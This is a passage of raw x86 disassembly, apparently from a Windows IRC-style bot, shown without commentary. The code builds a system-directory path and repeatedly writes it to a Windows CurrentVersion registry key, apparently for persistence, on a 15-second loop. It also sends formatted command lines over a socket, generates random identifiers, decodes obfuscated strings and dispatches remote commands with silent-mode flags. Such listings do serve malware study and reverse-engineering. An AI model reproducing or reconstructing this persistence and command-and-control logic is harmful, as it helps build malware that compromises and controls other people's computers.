		mov	[ebp+94h+var_108], eax
		call	sub_402A08
		push	edi
		mov	[ebp+94h+var_114], eax
		call	sub_402A08
		push	[ebp+94h+var_114]
		mov	[ebp+94h+var_10C], eax
		call	sub_402E05
		push	eax
		xor	ebx, ebx
		push	ebx
		push	[ebp+94h+var_114]
		call	sub_407F20
		push	[ebp+94h+var_10C]
		call	sub_402E05
		push	eax
		push	ebx
		push	[ebp+94h+var_10C]
		call	sub_407F20
		push	edi
		lea	eax, [ebp+94h+var_104]
		push	ebx
		push	eax
		call	sub_407F20
		push	esi
		call	sub_402E05
		add	esp, 40h
		push	eax
		push	ebx
		push	esi
		call	sub_407F20
		push	[ebp+94h+var_108]
		call	sub_402E05
		push	eax
		push	ebx
		push	[ebp+94h+var_108]
		call	sub_407F20
		push	esi
		call	sub_402E05
		push	eax
		mov	ebx, offset byte_426B01
		call	sub_419EC1
		mov	esi, [ebp+94h+var_108]
		push	esi
		call	sub_402E05
		push	eax
		mov	ebx, offset byte_426A49
		call	sub_419EC1
		mov	ebx, [ebp+94h+var_114]
		push	ebx
		call	sub_402E05
		add	esp, 30h
		dec	eax
		push	eax
		push	ebx
		call	ds:dword_41D0F0	; GetSystemDirectoryA
		push	esi
		mov	esi, [ebp+94h+var_10C]
		push	ebx
		push	offset dword_420198
		push	esi
		call	sub_402E05
		pop	ecx
		dec	eax
		push	eax
		push	esi
		call	sub_402EAE
		mov	eax, esi
		add	esp, 14h
		lea	ecx, [eax+1]

loc_41786E:				; CODE XREF: sub_417776+FDj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41786E
		sub	eax, ecx
		push	edi
		mov	[eax+esi], dl
		lea	eax, [ebp+94h+var_104]
		push	eax
		push	[ebp+94h+var_110]
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	1
		call	sub_4176BD
		add	esp, 14h
		test	al, al
		jz	short loc_4178C1
		lea	eax, [ebp+94h+var_104]
		mov	ecx, esi

loc_41789A:				; CODE XREF: sub_417776+13Cj
		mov	dl, [ecx]
		cmp	dl, [eax]
		jnz	short loc_4178B8
		test	dl, dl
		jz	short loc_4178B4
		mov	dl, [ecx+1]
		cmp	dl, [eax+1]
		jnz	short loc_4178B8
		inc	ecx
		inc	ecx
		inc	eax
		inc	eax
		test	dl, dl
		jnz	short loc_41789A

loc_4178B4:				; CODE XREF: sub_417776+12Cj
		xor	eax, eax
		jmp	short loc_4178BD
; ---------------------------------------------------------------------------

loc_4178B8:				; CODE XREF: sub_417776+128j
					; sub_417776+134j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_4178BD:				; CODE XREF: sub_417776+140j
		test	eax, eax
		jz	short loc_4178D2

loc_4178C1:				; CODE XREF: sub_417776+11Dj
		push	esi
		push	[ebp+94h+var_110]
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		call	sub_41764F
		add	esp, 0Ch

loc_4178D2:				; CODE XREF: sub_417776+149j
		push	[ebp+94h+var_110]
		call	sub_402F5B
		push	[ebp+94h+var_108]
		call	sub_402F5B
		push	ebx
		call	sub_402F5B
		push	esi
		call	sub_402F5B
		mov	ecx, [ebp+94h+var_4]
		add	esp, 10h
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		add	ebp, 94h
		leave
		retn
sub_417776	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_417909	proc near		; DATA XREF: sub_41C28D+357o

var_504		= byte ptr -504h
var_404		= byte ptr -404h
var_403		= byte ptr -403h
var_304		= byte ptr -304h
var_303		= byte ptr -303h
var_204		= byte ptr -204h
var_203		= byte ptr -203h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	esi, 0FFh
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_203]
		push	ebx
		push	eax
		mov	[ebp+var_204], bl
		call	sub_407F20
		push	esi
		lea	eax, [ebp+var_403]
		push	ebx
		push	eax
		mov	[ebp+var_404], bl
		call	sub_407F20
		push	esi
		lea	eax, [ebp+var_303]
		push	ebx
		push	eax
		mov	[ebp+var_304], bl
		call	sub_407F20
		push	esi
		lea	eax, [ebp+var_103]
		push	ebx
		push	eax
		mov	[ebp+var_104], bl
		call	sub_407F20
		add	esp, 30h
		mov	edi, 100h

loc_41797E:				; CODE XREF: sub_417909+1AEj
		push	edi
		lea	esi, [ebp+var_204]
		mov	ebx, offset byte_426B01
		call	sub_419EC1
		push	edi
		lea	esi, [ebp+var_404]
		mov	ebx, offset byte_426A49
		call	sub_419EC1
		pop	ecx
		pop	ecx
		mov	esi, 0FFh
		push	esi
		lea	eax, [ebp+var_304]
		push	eax
		call	ds:dword_41D0F0	; GetSystemDirectoryA
		lea	eax, [ebp+var_404]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		push	offset aSS_3	; "%s\\%s"
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+var_104]
		add	esp, 14h
		lea	ecx, [eax+1]

loc_4179E1:				; CODE XREF: sub_417909+DDj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4179E1
		sub	eax, ecx
		xor	ebx, ebx
		mov	[ebp+eax+var_104], bl
		push	edi
		lea	eax, [ebp+var_504]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		push	offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	1
		call	sub_4176BD
		add	esp, 14h
		test	al, al
		jz	short loc_417A48
		lea	ecx, [ebp+var_504]
		lea	eax, [ebp+var_104]

loc_417A21:				; CODE XREF: sub_417909+130j
		mov	dl, [eax]
		cmp	dl, [ecx]
		jnz	short loc_417A3F
		cmp	dl, bl
		jz	short loc_417A3B
		mov	dl, [eax+1]
		cmp	dl, [ecx+1]
		jnz	short loc_417A3F
		inc	eax
		inc	eax
		inc	ecx
		inc	ecx
		cmp	dl, bl
		jnz	short loc_417A21

loc_417A3B:				; CODE XREF: sub_417909+120j
		xor	eax, eax
		jmp	short loc_417A44
; ---------------------------------------------------------------------------

loc_417A3F:				; CODE XREF: sub_417909+11Cj
					; sub_417909+128j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_417A44:				; CODE XREF: sub_417909+134j
		cmp	eax, ebx
		jz	short loc_417A63

loc_417A48:				; CODE XREF: sub_417909+10Aj
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		push	offset aSoftwareMicr_2 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		call	sub_41764F
		add	esp, 0Ch

loc_417A63:				; CODE XREF: sub_417909+13Dj
		push	edi
		lea	eax, [ebp+var_304]
		push	ebx
		push	eax
		call	sub_407F20
		push	edi
		lea	eax, [ebp+var_104]
		push	ebx
		push	eax
		call	sub_407F20
		push	edi
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		call	sub_407F20
		push	edi
		lea	eax, [ebp+var_204]
		push	ebx
		push	eax
		call	sub_407F20
		push	edi
		lea	eax, [ebp+var_404]
		push	ebx
		push	eax
		call	sub_407F20
		add	esp, 3Ch
		push	3A98h
		call	ds:off_41D0F8
		jmp	loc_41797E
sub_417909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ABC	proc near		; CODE XREF: sub_401C1D+C9p
					; sub_401C1D+E4p ...

var_204		= byte ptr -204h
var_203		= byte ptr -203h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		mov	esi, 1FFh
		push	esi
		lea	eax, [ebp+var_203]
		push	0
		push	eax
		mov	[ebp+var_204], 0
		call	sub_407F20
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		call	sub_4037F6
		lea	eax, [ebp+var_204]
		add	esp, 1Ch
		lea	esi, [eax+1]

loc_417B0B:				; CODE XREF: sub_417ABC+54j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_417B0B
		sub	eax, esi
		mov	[ebp+eax+var_204], cl
		lea	eax, [ebp+var_204]
		lea	esi, [eax+1]

loc_417B24:				; CODE XREF: sub_417ABC+6Dj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_417B24
		push	0
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		push	dword ptr [edi]
		call	ds:dword_41D228	; send
		mov	ecx, [ebp+var_4]
		test	eax, eax
		setnz	al
		xor	ecx, ebp
		pop	esi
		call	sub_402AD0
		leave
		retn
sub_417ABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B51	proc near		; CODE XREF: sub_40177B+268p
					; sub_4019F3+21Ap ...

var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_403		= byte ptr -403h
var_204		= byte ptr -204h
var_203		= byte ptr -203h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	[ebp+var_408], eax
		mov	eax, [ebp+arg_8]
		mov	edi, 1FFh
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_40C], eax
		lea	eax, [ebp+var_203]
		push	ebx
		push	eax
		mov	[ebp+var_204], bl
		call	sub_407F20
		push	edi
		lea	eax, [ebp+var_403]
		push	ebx
		push	eax
		mov	[ebp+var_404], bl
		call	sub_407F20
		add	esp, 18h
		cmp	[ebp+arg_4], 1
		jz	loc_417C6D
		push	esi
		push	0Dh
		call	sub_402A08
		mov	esi, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		call	sub_4037F6
		lea	eax, [ebp+var_404]
		add	esp, 14h
		lea	ecx, [eax+1]

loc_417BDE:				; CODE XREF: sub_417B51+92j
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_417BDE
		sub	eax, ecx
		push	esi
		mov	[ebp+eax+var_404], bl
		call	sub_402E05
		push	eax
		mov	ebx, offset asc_426F58 ; "ÒÐËÔÏÑÅ"
		call	sub_419EC1
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_40C]
		lea	eax, [ebp+var_204]
		push	esi
		push	offset aSSS_1	; "%s %s %s\r\n"
		push	edi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+var_204]
		add	esp, 20h
		lea	ecx, [eax+1]

loc_417C2B:				; CODE XREF: sub_417B51+DFj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_417C2B
		sub	eax, ecx
		push	esi
		mov	[ebp+eax+var_204], dl
		call	sub_402F5B
		pop	ecx
		lea	eax, [ebp+var_204]
		lea	ecx, [eax+1]
		pop	esi

loc_417C4C:				; CODE XREF: sub_417B51+100j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_417C4C
		sub	eax, ecx
		push	0
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		call	ds:dword_41D228	; send

loc_417C6D:				; CODE XREF: sub_417B51+5Dj
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_417B51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C7B	proc near		; CODE XREF: sub_41881F+23Bp
					; sub_418A8C+39p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3F		= byte ptr -3Fh
var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_40], 0
		lea	edi, [ebp+var_3F]
		stosw
		stosb
		push	0Dh
		pop	ecx
		mov	esi, offset aQwertyuiopasdf ; "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJ"...
		lea	edi, [ebp+var_3C]
		rep movsd
		lea	eax, [ebp+var_48]
		push	eax
		movsb
		call	ds:off_41D1E8
		call	ds:dword_41D104	; GetTickCount
		mov	ecx, [ebp+var_48]
		mov	edx, [ebp+var_44]
		add	ecx, edx
		cmp	eax, ecx
		jb	short loc_417CC7
		add	ecx, eax
		jmp	short loc_417CC9
; ---------------------------------------------------------------------------

loc_417CC7:				; CODE XREF: sub_417C7B+46j
		sub	ecx, eax

loc_417CC9:				; CODE XREF: sub_417C7B+4Aj
		push	ecx
		call	sub_403716
		pop	ecx
		push	8
		pop	ecx
		xor	eax, eax
		mov	edi, ebx
		rep stosd
		push	offset asc_4203BC ; "["
		stosw
		push	22h
		push	ebx
		stosb
		call	sub_402EAE
		mov	eax, ebx
		add	esp, 0Ch
		lea	esi, [eax+1]

loc_417CF1:				; CODE XREF: sub_417C7B+7Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_417CF1
		xor	edi, edi
		sub	eax, esi
		push	edi
		mov	[eax+ebx], cl
		push	4
		pop	ecx
		lea	esi, [ebp+var_40]
		call	sub_419641
		pop	ecx
		mov	eax, esi
		push	eax
		push	ebx
		push	offset aSS	; "%s%s|"
		push	22h
		push	ebx
		call	sub_402EAE
		mov	eax, ebx
		add	esp, 14h
		lea	esi, [eax+1]

loc_417D25:				; CODE XREF: sub_417C7B+AFj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_417D25
		sub	eax, esi
		push	edi
		push	4
		lea	esi, [ebp+var_40]
		mov	[eax+ebx], cl
		call	sub_41960F
		mov	eax, esi
		push	eax
		push	ebx
		push	offset aSS_0	; "%s%s|"
		push	22h
		push	ebx
		call	sub_402EAE
		mov	eax, ebx
		add	esp, 1Ch
		lea	esi, [eax+1]

loc_417D55:				; CODE XREF: sub_417C7B+DFj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_417D55
		sub	eax, esi
		mov	[eax+ebx], cl
		call	sub_419B37
		test	al, al
		jz	short loc_417D8C
		push	ebx
		push	offset aSp	; "%sP|"
		push	22h
		push	ebx
		call	sub_402EAE
		mov	eax, ebx
		add	esp, 10h
		lea	esi, [eax+1]

loc_417D80:				; CODE XREF: sub_417C7B+10Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_417D80
		sub	eax, esi
		mov	[eax+ebx], cl

loc_417D8C:				; CODE XREF: sub_417C7B+EDj
		call	sub_419590
		mov	eax, dword_427FDC
		cmp	eax, edi
		mov	ecx, dword_427FD8
		jg	short loc_417DC8
		jl	short loc_417DA7
		cmp	ecx, 0Ah
		jnb	short loc_417DC8

loc_417DA7:				; CODE XREF: sub_417C7B+125j
		push	eax
		push	ecx
		push	ebx
		push	offset aS0I64u	; "%s0%I64u|"
		push	22h
		push	ebx
		call	sub_402EAE
		mov	eax, ebx
		add	esp, 18h
		lea	esi, [eax+1]

loc_417DBF:				; CODE XREF: sub_417C7B+149j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_417DBF
		jmp	short loc_417DE7
; ---------------------------------------------------------------------------

loc_417DC8:				; CODE XREF: sub_417C7B+123j
					; sub_417C7B+12Aj
		push	eax
		push	ecx
		push	ebx
		push	offset aSI64u	; "%s%I64u|"
		push	22h
		push	ebx
		call	sub_402EAE
		mov	eax, ebx
		add	esp, 18h
		lea	esi, [eax+1]

loc_417DE0:				; CODE XREF: sub_417C7B+16Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_417DE0

loc_417DE7:				; CODE XREF: sub_417C7B+14Bj
		sub	eax, esi
		mov	byte ptr [eax+ebx], 0
		xor	esi, esi
		cmp	dword_426C04, edi
		jle	short loc_417E34

loc_417DF7:				; CODE XREF: sub_417C7B+1B7j
		call	sub_403723
		push	31h
		pop	ecx
		xor	edx, edx
		div	ecx
		movsx	eax, [ebp+edx+var_3C]
		push	eax
		push	ebx
		push	offset aSC	; "%s%c"
		push	22h
		push	ebx
		call	sub_402EAE
		mov	eax, ebx
		add	esp, 14h
		lea	edi, [eax+1]

loc_417E1F:				; CODE XREF: sub_417C7B+1A9j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_417E1F
		sub	eax, edi
		inc	esi
		mov	[eax+ebx], cl
		cmp	esi, dword_426C04
		jl	short loc_417DF7

loc_417E34:				; CODE XREF: sub_417C7B+17Aj
		push	ebx
		push	offset aS	; "%s]"
		push	22h
		push	ebx
		call	sub_402EAE
		mov	eax, ebx
		add	esp, 10h
		lea	esi, [eax+1]

loc_417E4A:				; CODE XREF: sub_417C7B+1D4j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_417E4A
		sub	eax, esi
		mov	[eax+ebx], cl
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		mov	eax, ebx
		pop	esi
		call	sub_402AD0
		leave
		retn
sub_417C7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E66	proc near		; CODE XREF: sub_41802D+6A7p

var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 824h
		push	ebx
		push	esi
		push	edi
		push	offset asc_420374 ; " "
		push	[ebp+arg_14]
		xor	ebx, ebx
		mov	byte ptr [ebp+var_8], 0
		mov	[ebp+var_4], ebx
		call	sub_403DF4
		jmp	short loc_417EC8
; ---------------------------------------------------------------------------

loc_417E8A:				; CODE XREF: sub_417E66+68j
		mov	eax, [ebp+var_4]
		push	offset aS_8	; "-s"
		push	esi
		mov	[ebp+eax*4+var_820], esi
		call	sub_402C69
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_417EB6
		push	offset aS_9	; "/s"
		push	esi
		call	sub_402C69
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_417EBA

loc_417EB6:				; CODE XREF: sub_417E66+3Dj
		mov	byte ptr [ebp+var_8], 1

loc_417EBA:				; CODE XREF: sub_417E66+4Ej
		push	offset asc_420380 ; " "
		push	ebx
		call	sub_403DF4
		inc	[ebp+var_4]

loc_417EC8:				; CODE XREF: sub_417E66+22j
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		jnz	short loc_417E8A
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_820]
		add	edi, 5
		mov	edx, edi
		mov	ecx, esi

loc_417EE0:				; CODE XREF: sub_417E66+92j
		mov	al, [ecx]
		cmp	al, [edx]
		jnz	short loc_417EFE
		test	al, al
		jz	short loc_417EFA
		mov	al, [ecx+1]
		cmp	al, [edx+1]
		jnz	short loc_417EFE
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	al, al
		jnz	short loc_417EE0

loc_417EFA:				; CODE XREF: sub_417E66+82j
		xor	eax, eax
		jmp	short loc_417F03
; ---------------------------------------------------------------------------

loc_417EFE:				; CODE XREF: sub_417E66+7Ej
					; sub_417E66+8Aj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_417F03:				; CODE XREF: sub_417E66+96j
		cmp	eax, ebx
		jz	short loc_417F14
		mov	eax, edi
		mov	ecx, esi
		call	sub_419834
		test	eax, eax
		jz	short loc_417F40

loc_417F14:				; CODE XREF: sub_417E66+9Fj
		xor	eax, eax
		cmp	[ebp+var_4], ebx
		jle	short loc_417F3D
		mov	ecx, [ebp+var_4]
		dec	ecx

loc_417F1F:				; CODE XREF: sub_417E66+CFj
		cmp	eax, ecx
		jz	short loc_417F31
		mov	edx, [ebp+eax*4+var_81C]
		mov	[ebp+eax*4+var_820], edx

loc_417F31:				; CODE XREF: sub_417E66+BBj
		inc	eax
		cmp	eax, [ebp+var_4]
		jl	short loc_417F1F
		mov	esi, [ebp+var_820]

loc_417F3D:				; CODE XREF: sub_417E66+B3j
		dec	[ebp+var_4]

loc_417F40:				; CODE XREF: sub_417E66+ACj
		cmp	byte ptr [ebp+var_8], bl
		jz	short loc_417F48
		dec	[ebp+var_4]

loc_417F48:				; CODE XREF: sub_417E66+DDj
		mov	al, [esi]
		cmp	al, byte_4269D0
		jnz	loc_418026
		mov	eax, esi
		lea	ecx, [eax+1]

loc_417F5B:				; CODE XREF: sub_417E66+FAj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_417F5B
		sub	eax, ecx
		push	eax
		lea	eax, [esi+1]
		push	eax
		push	esi
		call	sub_403CD0
		mov	eax, dword_435690
		mov	esi, [eax]
		mov	ebx, offset dword_43568C
		mov	edi, ebx
		add	esp, 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_10], edi

loc_417F86:				; CODE XREF: sub_417E66+192j
		test	edi, edi
		mov	eax, dword_435690
		mov	[ebp+var_14], eax
		jz	short loc_417F96
		cmp	edi, ebx
		jz	short loc_417F9B

loc_417F96:				; CODE XREF: sub_417E66+12Aj
		call	sub_40331D

loc_417F9B:				; CODE XREF: sub_417E66+12Ej
		cmp	esi, [ebp+var_14]
		jz	loc_418026
		test	edi, edi
		jnz	short loc_417FAD
		call	sub_40331D

loc_417FAD:				; CODE XREF: sub_417E66+140j
		cmp	esi, [edi+4]
		jnz	short loc_417FB7
		call	sub_40331D

loc_417FB7:				; CODE XREF: sub_417E66+14Aj
		mov	ecx, [ebp+var_820]
		lea	eax, [esi+0Ch]

loc_417FC0:				; CODE XREF: sub_417E66+172j
		mov	dl, [eax]
		cmp	dl, [ecx]
		jnz	short loc_417FDE
		test	dl, dl
		jz	short loc_417FDA
		mov	dl, [eax+1]
		cmp	dl, [ecx+1]
		jnz	short loc_417FDE
		inc	eax
		inc	eax
		inc	ecx
		inc	ecx
		test	dl, dl
		jnz	short loc_417FC0

loc_417FDA:				; CODE XREF: sub_417E66+162j
		xor	eax, eax
		jmp	short loc_417FE3
; ---------------------------------------------------------------------------

loc_417FDE:				; CODE XREF: sub_417E66+15Ej
					; sub_417E66+16Aj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_417FE3:				; CODE XREF: sub_417E66+176j
		test	eax, eax
		jz	short loc_417FFA
		lea	edi, [ebp+var_20]
		lea	esi, [ebp+var_10]
		call	sub_40168C
		mov	esi, [ebp+var_C]
		mov	edi, [ebp+var_10]
		jmp	short loc_417F86
; ---------------------------------------------------------------------------

loc_417FFA:				; CODE XREF: sub_417E66+17Fj
		cmp	esi, [edi+4]
		jnz	short loc_418004
		call	sub_40331D

loc_418004:				; CODE XREF: sub_417E66+197j
		mov	ecx, [esi+8]
		mov	eax, [ecx]
		lea	edx, [ebp+var_820]
		push	edx
		mov	edx, [ebp+var_4]
		dec	edx
		push	edx
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	dword ptr [eax]

loc_418026:				; CODE XREF: sub_417E66+EAj
					; sub_417E66+138j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_417E66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41802D	proc near		; CODE XREF: sub_4186F1+107p

var_10F34	= dword	ptr -10F34h
var_10734	= dword	ptr -10734h
var_10730	= dword	ptr -10730h
var_1072C	= byte ptr -1072Ch
var_1062C	= byte ptr -1062Ch
var_1052C	= byte ptr -1052Ch
var_1042C	= byte ptr -1042Ch
var_72C		= byte ptr -72Ch
var_72B		= byte ptr -72Bh
var_62C		= byte ptr -62Ch
var_62B		= byte ptr -62Bh
var_52C		= byte ptr -52Ch
var_52B		= byte ptr -52Bh
var_52A		= byte ptr -52Ah
var_32C		= byte ptr -32Ch
var_32B		= byte ptr -32Bh
var_22C		= byte ptr -22Ch
var_22B		= byte ptr -22Bh
var_1AC		= byte ptr -1ACh
var_1AB		= byte ptr -1ABh
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_78		= byte ptr -78h
var_77		= byte ptr -77h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_44		= byte ptr -44h
var_43		= byte ptr -43h
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10F38h
		call	sub_4117B0
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, 1FFh
		xor	ebx, ebx
		push	esi
		mov	[ebp+var_10734], eax
		lea	eax, [ebp+var_52B]
		mov	edi, ecx
		push	ebx
		push	eax
		mov	[ebp+var_10730], edi
		mov	[ebp+var_52C], bl
		call	sub_407F20
		add	esp, 0Ch
		push	edi
		push	offset aS_12	; "%s"
		lea	eax, [ebp+var_52C]
		push	esi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+var_52C]
		add	esp, 10h
		lea	edi, [eax+1]

loc_418095:				; CODE XREF: sub_41802D+6Dj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_418095
		sub	eax, edi
		mov	[ebp+eax+var_52C], bl
		lea	eax, [ebp+var_52C]
		push	offset asc_420300 ; " :"
		push	eax
		call	sub_403B70
		push	eax
		push	offset aS_13	; "%s"
		lea	eax, [ebp+var_52C]
		push	esi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+var_52C]
		add	esp, 18h
		lea	esi, [eax+1]

loc_4180D5:				; CODE XREF: sub_41802D+ADj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_4180D5
		sub	eax, esi
		mov	[ebp+eax+var_52C], bl
		lea	eax, [ebp+var_52C]
		lea	esi, [eax+1]

loc_4180EE:				; CODE XREF: sub_41802D+C6j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_4180EE
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_52A]
		push	eax
		lea	eax, [ebp+var_52C]
		push	eax
		call	sub_403CD0
		add	esp, 0Ch
		push	offset asc_420308 ; " "
		push	[ebp+var_10730]
		call	sub_403DF4
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_41816F
		xor	esi, esi

loc_418126:				; CODE XREF: sub_41802D+140j
		push	eax
		push	offset aS_14	; "%s"
		lea	edi, [ebp+esi+var_1072C]
		push	0FFh
		push	edi
		call	sub_402EAE
		mov	eax, edi
		add	esp, 10h
		lea	edi, [eax+1]

loc_418146:				; CODE XREF: sub_41802D+11Ej
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_418146
		sub	eax, edi
		add	eax, esi
		push	offset asc_420310 ; " "
		push	ebx
		mov	[ebp+eax+var_1072C], bl
		call	sub_403DF4
		pop	ecx
		add	esi, 100h
		cmp	eax, ebx
		pop	ecx
		jnz	short loc_418126

loc_41816F:				; CODE XREF: sub_41802D+F5j
		xor	eax, eax
		mov	[ebp+var_2C], bl
		lea	edi, [ebp+var_2B]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_38], bl
		lea	edi, [ebp+var_37]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_54], bl
		lea	edi, [ebp+var_53]
		stosd
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_20], bl
		lea	edi, [ebp+var_1F]
		stosd
		push	0FFh
		stosd
		lea	eax, [ebp+var_32B]
		push	ebx
		push	eax
		mov	[ebp+var_32C], bl
		call	sub_407F20
		add	esp, 0Ch
		push	2Fh
		lea	eax, [ebp+var_A7]
		push	ebx
		push	eax
		mov	[ebp+var_A8], bl
		call	sub_407F20
		xor	eax, eax
		mov	[ebp+var_14], bl
		lea	edi, [ebp+var_13]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_44], bl
		lea	edi, [ebp+var_43]
		stosd
		add	esp, 0Ch
		push	7Fh
		stosd
		lea	eax, [ebp+var_22B]
		push	ebx
		push	eax
		mov	[ebp+var_22C], bl
		call	sub_407F20
		add	esp, 0Ch
		push	9
		lea	esi, [ebp+var_2C]
		mov	ebx, offset asc_426F2B ; "ÒËÌÅ"
		call	sub_419EC1
		pop	ecx
		push	9
		lea	esi, [ebp+var_38]
		mov	ebx, offset asc_426F3D ; "ÉËÁÉ"
		call	sub_419EC1
		pop	ecx
		push	0Dh
		lea	esi, [ebp+var_54]
